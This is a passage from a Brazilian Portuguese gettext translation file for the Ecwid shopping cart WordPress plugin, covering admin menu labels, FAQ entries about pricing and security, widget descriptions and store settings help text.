"Configurações" #: ecwid-shopping-cart.php:1760 includes/class-ecwid-admin.php:33 msgid "Dashboard" msgstr "Dashboard" #: ecwid-shopping-cart.php:1762 includes/class-ecwid-admin.php:58 #: includes/class-ecwid-admin.php:59 includes/class-ecwid-products.php:234 msgid "Products" msgstr "Produtos" #: ecwid-shopping-cart.php:1764 msgid "Orders" msgstr "Pedidos" #: ecwid-shopping-cart.php:1766 includes/class-ecwid-nav-menus.php:144 msgid "Refresh categories list" msgstr "Atualizar lista de categorias" #: ecwid-shopping-cart.php:1767 includes/class-ecwid-nav-menus.php:145 msgid "Done" msgstr "Feito" #: ecwid-shopping-cart.php:1768 includes/class-ecwid-nav-menus.php:146 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "As categorias de nível superior da loja são automaticamente adicionadas a este menu suspenso" #: ecwid-shopping-cart.php:1877 includes/class-ecwid-oauth.php:335 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "Para escolher um produto que deseja inserir em suas postagens e páginas, você precisará reconectar seu site à sua loja %s. Isso somente irá requerer que você aceite o pedido de permissões - liberando o plugin para listar seus produtos na caixa de diálogo \"Adicionar produto\"." #: ecwid-shopping-cart.php:2383 msgid "Recommendations for Your Online Store" msgstr "Recomendações para sua loja online" #: includes/class-ecwid-admin.php:21 msgid "%s shopping cart settings" msgstr "Configurações de carrinho de compras %s" #: includes/class-ecwid-admin.php:22 msgid "%s Store" msgstr "Loja %s" #: includes/class-ecwid-admin.php:48 includes/class-ecwid-admin.php:49 msgid "Sales" msgstr "Vendas" #: includes/class-ecwid-admin.php:68 msgid "Appearance settings" msgstr "Configurações de aparência" #: includes/class-ecwid-admin.php:69 templates/product-popup.php:183 #: templates/store-popup.php:13 templates/store-popup.php:31 msgid "Appearance" msgstr "Aparência" #: includes/class-ecwid-admin.php:79 msgid "Advanced settings" msgstr "Configurações avançadas" #: includes/class-ecwid-admin.php:80 msgid "Advanced" msgstr "Avançado" #: includes/class-ecwid-admin.php:93 includes/class-ecwid-admin.php:94 msgid "Help" msgstr "Ajuda" #: includes/class-ecwid-integration-divibuilder.php:25 msgid "Ecwid" msgstr "Ecwid" #: includes/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Conteúdo" #: includes/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aqui você pode criar o conteúdo que será usado dentro do módulo." #: includes/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Administração" #: includes/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Isto alterará o rótulo do módulo no construtor para fácil identificação." #: includes/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID CSS" #: includes/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Informe uma ID CSS opcional para ser usado para este módulo. Um ID pode ser usado para criar estilo CSS personalizado, ou criar links para seções particulares de sua página." #: includes/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Classe CSS" #: includes/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Informe as classes CSS opcionais a serem usadas para este módulo. Uma classe CSS pode ser usada para criar estilo CSS personalizado. Você pode adicionar várias classes, separadas por um espaço." #: includes/class-ecwid-message-manager.php:45 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Desculpe, parece que há um problema. Esta página deve exibir o Painel de Controle da sua loja. No entanto, este site do Wordpress não parece ser capaz de se conectar ao servidor para mostrar o painel aqui. Isso provavelmente é causado por uma configuração incorreta do servidor e pode ser corrigido pelo seu provedor de hospedagem. Aqui está uma descrição mais técnica do problema, que você pode enviar para o seu provedor de hospedagem: \"A função wp_remote_post () do Wordpress não conseguiu conectar um servidor remoto por causa de algum erro:\"% s \". Parece que as solicitações HTTP POST estão desativadas neste servidor \". <br /> <br /> Sinta-se à vontade para entrar em contato conosco em <a% s> wordpress@ecwid.com </a> e nós ajudaremos a fazer contato com sua hospedagem e pedir-lhes para corrigir o problema. <br /> <br /> Enquanto isso, para gerenciar sua loja, você pode usar o Web Control Panel em <a% s> my.ecwid.com </a>. A página inicial da loja está funcional e você pode verificá-la aqui: <a% s>% s </a>." #: includes/class-ecwid-message-manager.php:59 msgid "Updated %s widgets are available for your %s store. They are more mobile friendly and look better. Please enable them on the plugin settings page and check how they work in your store. The new widgets will be enabled automatically for all users in one of the upcoming plugin versions." msgstr "Os widgets% s atualizados estão disponíveis para sua loja% s. Eles são mais amigáveis e mais atraentes. Ative-os na página de configurações do plug-in e veja como eles funcionam em sua loja. Os novos widgets serão ativados automaticamente para todos os usuários em uma das próximas versões de plug-in." #: includes/class-ecwid-message-manager.php:61 msgctxt "upgrade widgets message" msgid "Categories" msgstr "Categorias" #: includes/class-ecwid-message-manager.php:203 msgid "Greetings! Your %s plugin is now active." msgstr "Saudações! Seu plugin %s está ativo." #: includes/class-ecwid-message-manager.php:204 msgid "Take a few simple steps to complete store setup" msgstr "Execute algumas etapas simples para concluir a configuração da loja" #: includes/class-ecwid-message-manager.php:205 msgid "Set up %s Store" msgstr "Configurar a Loja %s" #: includes/class-ecwid-message-manager.php:213 msgid "Your store is almost ready!" msgstr "Sua loja está quase pronta!" #: includes/class-ecwid-message-manager.php:214 msgid "Complete setup and start selling" msgstr "Configuração completa e inicie a vender" #: includes/class-ecwid-message-manager.php:215 msgid "Complete Setup" msgstr "Configuração Completa" #: includes/class-ecwid-message-manager.php:221 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para adicionar funções extras à sua loja, arraste e solte elementos da loja% s no seu site. Quando terminar, pode voltar a modificar as suas definições." #: includes/class-ecwid-message-manager.php:222 msgid "Back to Store Settings" msgstr "Voltar para as configurações da loja" #: includes/class-ecwid-message-manager.php:229 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "Gostou de sua loja %s? Agradeceríamos se você adicionasse seu comentário e votasse em nosso plugin no site do WordPress." #: includes/class-ecwid-message-manager.php:233 msgid "Rate %s at WordPress.org" msgstr "Avalie %s no WordPress.org" #: includes/class-ecwid-message-manager.php:248 msgid "Open %s store settings" msgstr "Abrir as configurações da loja %s" #: includes/class-ecwid-nav-menus.php:25 msgid "Ecwid Menu Item" msgstr "Item de menu Ecwid" #: includes/class-ecwid-nav-menus.php:143 msgid "Store Page" msgstr "Página da loja" #: includes/class-ecwid-nav-menus.php:254 msgid "Select All" msgstr "Selecionar tudo" #: includes/class-ecwid-nav-menus.php:257 msgid "Add to Menu" msgstr "Adicionar ao menu" #: includes/class-ecwid-nav-menus.php:273 msgid "Cart" msgstr "Carrinho" #: includes/class-ecwid-nav-menus.php:276 #: includes/widgets/class-ecwid-widget-minicart.php:6 msgid "Shopping Cart" msgstr "Carrinho de Compras" #: includes/class-ecwid-nav-menus.php:281 #: includes/class-ecwid-nav-menus.php:284 #: includes/widgets/class-ecwid-widget-search.php:10 msgid "Product Search" msgstr "Pesquisa de Produto" #: includes/class-ecwid-nav-menus.php:289 #: includes/class-ecwid-nav-menus.php:292 msgid "My Account" msgstr "Minha Conta" #: includes/class-ecwid-nav-menus.php:305 msgid "Store with Categories Menu" msgstr "Loja com Menu de Categorias" #: includes/class-ecwid-product-popup.php:91 msgid "Add Product" msgstr "Adicionar Produto" #: includes/class-ecwid-product-popup.php:117 msgid "First Page" msgstr "Primeira Página" #: includes/class-ecwid-product-popup.php:118 msgid "Previous Page" msgstr "Página Anterior" #: includes/class-ecwid-product-popup.php:119 msgid "Next Page" msgstr "Próxima Página" #: includes/class-ecwid-product-popup.php:120 msgid "Last Page" msgstr "Última Página" #: includes/class-ecwid-store-editor.php:44 templates/store-popup.php:11 #: templates/store-popup.php:19 msgid "Add Store" msgstr "Adicionar Loja" #: includes/class-ecwid-store-editor.php:52 msgid "Edit Store" msgstr "Editar Loja" #: includes/class-ecwid-store-editor.php:67 msgid "Edit Appearance" msgstr "Editar Aparência" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "Quão seguro é esse plugin? A minha loja é compatível com PCI DSS?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won’t have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#secureplugin\">More details.</a>" msgstr "Ecwid possui certificado PCI DSS nível 1, que é o padrão ouro para soluções de e-commerce em todo o mundo. Isso significa que você não terá problemas de conformidade bancária ao vender on-line com esta plataforma. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#secureplugin\"> Mais detalhes. </a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "Como posso gerenciar a minha loja a partir de um dispositivo móvel?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "O Ecwid fornece aplicativos gratuitos para iOS e Android para gerenciar sua loja e vender em qualquer lugar. Digitalize produtos, acompanhe o estoque, gerencie as vendas e aceite pagamentos usando seu dispositivo móvel como uma estação de Ponto de Venda. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Mais detalhes.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "Como configurar uma loja no Facebook com Ecwid?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#How%20to%20add%20my%20store%20to%20Facebook\">More details.</a>" msgstr "Você pode adicionar sua loja on-line à sua página de negócios do Facebook. Nenhum addon é necessário. Ecwid sincronizará automaticamente produtos, clientes, encomendas e estoques entre as suas lojas do WordPress e do Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#How%20to%20add%20my%20store%20to%20Facebook\"> Mais detalhes. </a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "Como posso adicionar um widget de carrinho à barra lateral do meu site?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Sidebar%%20widgets\">More details.</a>" msgstr "Você pode adicionar a caixa de pesquisa do produto, o widget do carrinho e muito mais na página <a href=\"%s\"> \"Aparência / Widgets\" </a> neste administrador do site. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Sidebar%%20widgets\"> Mais detalhes. </a>" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "Quanto custa Ecwid?" #: includes/faq_entries.php:39 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">pricing page.</a><br /><br />Free - Up to 10 products<br />Venture - $15/month<br />Business - $35/month<br />Unlimited - $99/month<br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nossos 4 tipos de conta variam de acordo com o número de produtos, tipos de funcionalidade e níveis de suporte. Para obter mais informações, consulte nossa <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\"> página de preços. </a> <br /> <br /> Grátis - Até 10 Produtos <br /> Venture - $ 15 / month <br /> Negócio - $ 35 / month <br /> Ilimitado - $ 99 / month <br /> Pro Dica: Você pode ter vantagens nos valores com nossos planos anuais ." #: includes/faq_entries.php:45 msgid "How do I add store categories to the site menu." msgstr "Como faço para adicionar categorias de loja para o menu do site." #: includes/faq_entries.php:46 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Você pode adicionar o menu de categorias de sua loja ao menu do seu site para ajudar seus clientes a navegar facilmente no seu site. Basta abrir \"Aparência > Menus\" no painel de controle do WordPress e adicione o item \"Loja com menu de categorias\" no menu do seu site. Um menu suspenso que contém suas categorias de loja aparecerá automaticamente em seu site." #: includes/faq_entries.php:52 msgid "How do I put my products in the sitemap?" msgstr "Como faço para colocar meus produtos no sitemap?" #: includes/faq_entries.php:53 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para criar sitemap para seu site Wordpress, sugerimos usar <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\"> Google Sitemaps XML </a> ou <a target = \"_blank\" href = \"https://wordpress.org/plugins/wordpress-seo/\"> Yoast Wordpress SEO </a>. & Nbsp; plugins. Estes plugins são totalmente compatíveis com o Ecwid e permitem gerar um sitemap que terá links para categorias e páginas de produtos, para que as páginas da loja sejam indexadas mais rapidamente. Saiba que esta opção está disponível para <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\"> usuários pagos do Ecwid </a>" #: includes/faq_entries.php:58 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "Como adicionar um único produto com o botão \"Adicionar ao carrinho\" para as páginas do site?" #: includes/faq_entries.php:59 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Howtoembedasingleproductonapageorpostofmysite\">How to use it.</a>" msgstr "Para apresentar um único produto em uma página separada ou postagem no blog do seu site, use <short code> <b> [ecwid_product] </ b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#Howtoembedasingleproductonapageorpostofmysite\"> Como usá-lo. </a>" #: includes/faq_entries.php:65 msgid "Is it possible to display my store on the site home page?" msgstr "É possível exibir minha loja na página inicial do site?" #: includes/faq_entries.php:66 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Você pode exibir sua loja na página principal do site. Ajuste as configurações de \"Leitura\" do seu site, conforme descrito em <a target = \"_ blank\" href = \"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\" > Central de Ajuda. </a>" #: includes/oembed.php:68 includes/oembed.php:97 templates/help.php:96 msgid "See more" msgstr "Veja mais" #: includes/themes/class-ecwid-theme-twentyfifteen.php:32 #: includes/themes/class-ecwid-theme-twentyfifteen.php:38 #: includes/themes/class-ecwid-theme-twentyseventeen.php:47 #: includes/themes/class-ecwid-theme-twentyseventeen.php:53 #: includes/themes/class-ecwid-theme-twentysixteen.php:35 #: includes/themes/class-ecwid-theme-twentysixteen.php:41 #: includes/widgets/class-ecwid-widget-store-link.php:29 msgid "Shop" msgstr "Loja" #: includes/widgets/class-ecwid-widget-badge.php:9 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "Você gosta de Ecwid e quer ajudá-lo a crescer? Você pode adicionar este emblema 'Powered by Ecwid' em seu site para mostrar aos seus visitantes que você é um usuário orgulhoso de Ecwid." #: includes/widgets/class-ecwid-widget-badge.php:10 msgid "Ecwid Badge" msgstr "Emblema Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:17 #: includes/widgets/class-ecwid-widget-badge.php:23 msgid "Ecwid shopping cart widget" msgstr "Widget do carrinho de compras Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:29 #: includes/widgets/class-ecwid-widget-badge.php:65 msgid "Ecwid ecommerce solution" msgstr "Solução de e-commerce Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:35 #: includes/widgets/class-ecwid-widget-badge.php:71 msgid "Ecwid free shopping cart" msgstr " Carrinho de compras grátis Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:41 #: includes/widgets/class-ecwid-widget-badge.php:53 msgid "Ecwid shopping cart" msgstr "Carrinho de compras Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:47 #: includes/widgets/class-ecwid-widget-badge.php:59 msgid "Ecwid e-commerce widgets" msgstr "Widgets de e-commerce Ecwid" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:15 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Adiciona um widget de carrinho de compras ao canto superior direito do seu site." #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:16 msgid "Shopping Cart (Floating)" msgstr "Carrinho de compras (flutuante)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:110 msgid "Position" msgstr "Posição" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:113 msgid "Bottom right" msgstr "Canto inferior direito" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:118 msgid "Top right" msgstr "Canto superior direito" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:5 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Adiciona um widget de carrinho compacto para que o cliente veja os produtos que adicionaram ao carrinho." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:6 msgid "Shopping Cart (Mini)" msgstr "Carrinho de compras (mini)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:44 #: includes/widgets/class-ecwid-widget-minicart.php:44 #: includes/widgets/class-ecwid-widget-search.php:49 #: includes/widgets/class-ecwid-widget-vcategories.php:43 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:71 msgid "Title:" msgstr "Título:" #: includes/widgets/class-ecwid-widget-minicart.php:5 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Adiciona um widget de carrinho para que o cliente veja os produtos que adicionaram ao carrinho." #: includes/widgets/class-ecwid-widget-recently-viewed.php:9 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Exibe uma lista de produtos vistos recentemente pelo cliente para retornar facilmente aos produtos que viram na sua loja." #: includes/widgets/class-ecwid-widget-recently-viewed.php:10 #: includes/widgets/class-ecwid-widget-recently-viewed.php:153 msgid "Recently Viewed Products" msgstr "Produtos vistos recentemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:124 #: includes/widgets/class-ecwid-widget-recently-viewed.php:154 msgid "You have not viewed any product yet. Open store." msgstr "Você ainda não viu nenhum produto. Abra a loja." #: includes/widgets/class-ecwid-widget-recently-viewed.php:164 #: templates/product-popup.php:160 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:165 msgid "Store Link Title" msgstr "Título do Link da Loja" #: includes/widgets/class-ecwid-widget-recently-viewed.php:166 msgid "Number of products to show" msgstr "Número de produtos para exibir" #: includes/widgets/class-ecwid-widget-search.php:9 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Exibe uma caixa de pesquisa simples para seus clientes encontrarem um produto em sua loja" #: includes/widgets/class-ecwid-widget-store-link.php:5 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Exibe um link para a página da loja na barra lateral para que o cliente acesse rapidamente sua loja a partir de qualquer página no site." #: includes/widgets/class-ecwid-widget-store-link.php:6 msgid "Store Page Link" msgstr "Link da página da loja" #: includes/widgets/class-ecwid-widget-store-link.php:33 msgid "Text" msgstr "Texto" #: includes/widgets/class-ecwid-widget-vcategories.php:5 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Adiciona bloco de categorias verticais para permitir que o cliente navegue em sua loja." #: includes/widgets/class-ecwid-widget-vcategories.php:6 msgid "Store Categories" msgstr "Categorias da Loja" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:11 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Adiciona a lista de categorias raiz à barra lateral para permitir que seus clientes naveguem pela loja." #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:12 msgid "Store Root Categories" msgstr "Categorias raiz da loja" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:22 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:68 msgid "Browse by Category" msgstr "Navegar por Categoria" #: lib/ecwid_platform.php:56 templates/product-popup.php:171 msgid "Price" msgstr "Preço" #: templates/admin-footer.php:4 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gerencia a loja no iPhone, iPad ou Android" #: templates/admin-footer.php:7 msgid "Get %s mobile app" msgstr "Baixe o aplicativo %s" #: templates/admin-footer.php:13 msgid "Questions?" msgstr "Dúvidas?" #: templates/admin-footer.php:21 msgid "Want to connect another %s store?" msgstr "Deseja conectar à outra loja %s?" #: templates/admin-footer.php:23 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Reconectar</a>" #: templates/admin-message.php:45 msgid "Never show this message again" msgstr "Nunca mostrar esta mensagem novamente" #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Desculpe, estamos tendo dificuldades técnicas." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nossa equipe já está trabalhando nesta questão. Atualize a página em alguns minutos. Se o problema persistir, entre em contato com <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nossa equipe de suporte ao cliente </a>." #: templates/advanced-settings.php:1 msgid "%s Shopping Cart — Advanced settings" msgstr "Carrinho de Compras %s - Configurações avançadas" #: templates/advanced-settings.php:27 msgid "SEO friendly clean URLs" msgstr "SEO URLs amigáveis limpas" #: templates/advanced-settings.php:32 msgid "This enables new clean URLs format in your store. The new urls do not contain hash sign ('#'), so they look nicer and are better indexed by Google." msgstr "Isso possibilita o novo formato de URLs limpas em sua loja. As novas URLs não contêm sinal de hash ('#'), então ficam mais bonitas e são melhor indexadas pelo Google." #: templates/advanced-settings.php:36 msgid "To enable clean URLs in your store, you will need to enable pretty permalinks in your WordPress site settings. Navigate to <a%s>Settings->Permalink</a> and enable the \"Post name\" permalink type." msgstr "Para ativar URLs amigáveis em sua loja, você precisará habilitar permalinks amigáveis em suas configurações de site do WordPress. Navegue até <a %s> Configurações-> Link permanente </a> e ative o tipo de permalink \"Post name\"." #: templates/advanced-settings.php:42 msgid "Note: the new URLs will be automatically enabled for every store in one of upcoming updates so please make sure to check how the new URLs work in your store and <a %s>let us know</a> if you face any trouble with them" msgstr "Nota: as novas URLs serão ativadas automaticamente para cada loja em uma das próximas atualizações. Por favor, verifique se as novas URLs funcionam em sua loja e <a% s> nos avise </a> se tiver problemas com elas." #: templates/advanced-settings.php:42 templates/advanced-settings.php:212 msgid "https://support.ecwid.com/hc/en-us/requests/new" msgstr "https://support.ecwid.com/hc/en-us/requests/new" #: templates/advanced-settings.php:51 templates/store-popup.php:154 msgid "Category shown by default" msgstr "Categoria exibida por padrão" #: templates/advanced-settings.php:55 templates/store-popup.php:161 msgid "Store root category" msgstr "Categoria raíz da loja" #: templates/advanced-settings.php:68 msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "Por padrão, o front da loja mostra uma lista de categorias raiz. Você pode substituir esse comportamento e mostrar uma categoria diferente quando os clientes abrem sua loja pela primeira vez. Isso é útil se você tiver apenas uma categoria ou desejar exibir um conjunto específico de itens (por exemplo, \"Produtos em destaque\") para novos visitantes." #: templates/advanced-settings.php:91 msgid "Customer Single Sign-On" msgstr "Single Sign-On de Cliente" #: templates/advanced-settings.php:96 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s store. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "O Single Sign-On permite que seus clientes tenham um login único para seu site WordPress e sua loja %s. Quando alguém fizer logon em seu site, ele será automaticamente conectado à sua conta de cliente em sua loja, sem necessidade de digitar seu e-mail / senha novamente." #: templates/advanced-settings.php:103 msgid "Upgrade to get this feature" msgstr "Faça upgrade para obter esse recurso" #: templates/advanced-settings.php:106 msgid "Please subscribe to a paid plan to get this feature." msgstr "Assine um plano pago para obter esse recurso." #: templates/advanced-settings.php:112 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie sessão automática de seus clientes em sua loja, forneça-lhe permissão para utilizar os dados de cliente em sua loja. <a %s>Utilize este link</a>" #: templates/advanced-settings.php:118 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para se certificar de que o seu cliente pode realmente efetuar login em seu site e em sua loja, ative o cadastro nas <a %s>configurações do site</a>" #: templates/advanced-settings.php:140 msgid "Chameleon skin" msgstr "Opção Camaleão" #: templates/advanced-settings.php:144 msgid "Automatic adjustment of your store design to your WordPress theme. Whatever WordPress theme you use, %s will detect predominant colors and font and use them in your product catalog." msgstr "Ajuste automático do design da sua loja para o seu tema WordPress. Seja qual for o tema do WordPress que você usa, o %s detectará cores predominantes e a fonte e usará em seu catálogo de produtos." #: templates/advanced-settings.php:147 msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgstr "Atenção: Observe que esta funcionalidade está em versão beta. Portanto, se enfrentar dificuldades ou encontrar problemas com o Camaleão, <a% s> deixe-nos saber </a>" #: templates/advanced-settings.php:170 msgid "Enable the new category menu" msgstr "Habilitar o novo menu de categorias" #: templates/advanced-settings.php:175 msgid "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" msgstr "O novo menu de categorias parece melhor e é mais responsivo. Se ainda não tiver adicionado o menu de categoria à sua página da loja, pode fazê-lo no <a% s> editor de páginas da loja </a> (active a opção \"Mostrar categorias\")" #: templates/advanced-settings.php:200 msgid "Integration with search on your site <sup>beta</sup>" msgstr "Integração com a pesquisa em seu site <sup>beta</sup>" #: templates/advanced-settings.php:204 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s armazena seus dados de produtos em um armazenamento seguro em nuvem. As páginas do produto são exibidas instantaneamente quando um cliente navega em sua loja. Assim, basicamente, os produtos não são armazenados no site, é por isso que a pesquisa no site não encontra páginas de produtos enquanto olha através de páginas e posts do site. Esta opção permite um modo de armazenamento local: os produtos serão armazenados tanto na nuvem como no seu site. Os resultados de pesquisa do site irão listar páginas de produtos, bem como páginas / postagens normais do seu site." #: templates/advanced-settings.php:212 msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with it, please <a %s>let us know</a>." msgstr "Observe que esta funcionalidade está em versão beta. Portanto, se você tiver dificuldades ou encontrar problemas com a funcionalidade, <a %s>informe-nos</a>." #: templates/advanced-settings.php:221 templates/appearance-settings.php:217 msgid "Save changes" msgstr "Salvar alterações" #: templates/appearance-settings.php:1 msgid "%s Shopping Cart — Appearance settings" msgstr "Carrinho de Compras %s - Configurações de aparência" #: templates/appearance-settings.php:27 msgid "Display search box above products" msgstr "Mostrar caixa de pesquisa acima dos produtos" #: templates/appearance-settings.php:31 msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Ou você pode adicionar a caixa de pesquisa à barra de ferramentas do seu site usando <a href=\"%s\">widgets nativos do WordPress </a>" #: templates/appearance-settings.php:51 msgid "Display categories above products" msgstr "Mostrar categorias acima dos produtos" #: templates/appearance-settings.php:55 msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Ou você pode adicionar categorias verticais à barra de ferramentas do seu site usando <a href=\"%s\">widgets nativos do WordPress</a>" #: templates/appearance-settings.php:76 msgid "Enable minicart attached to categories" msgstr "Habilitar mini carrinho para as categorias" #: templates/appearance-settings.php:80 msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "Você deve desativar esta opção, se adicionou mini carrinho à barra lateral de seu site" #: templates/appearance-settings.php:99 templates/store-popup.php:180 msgid "Number of 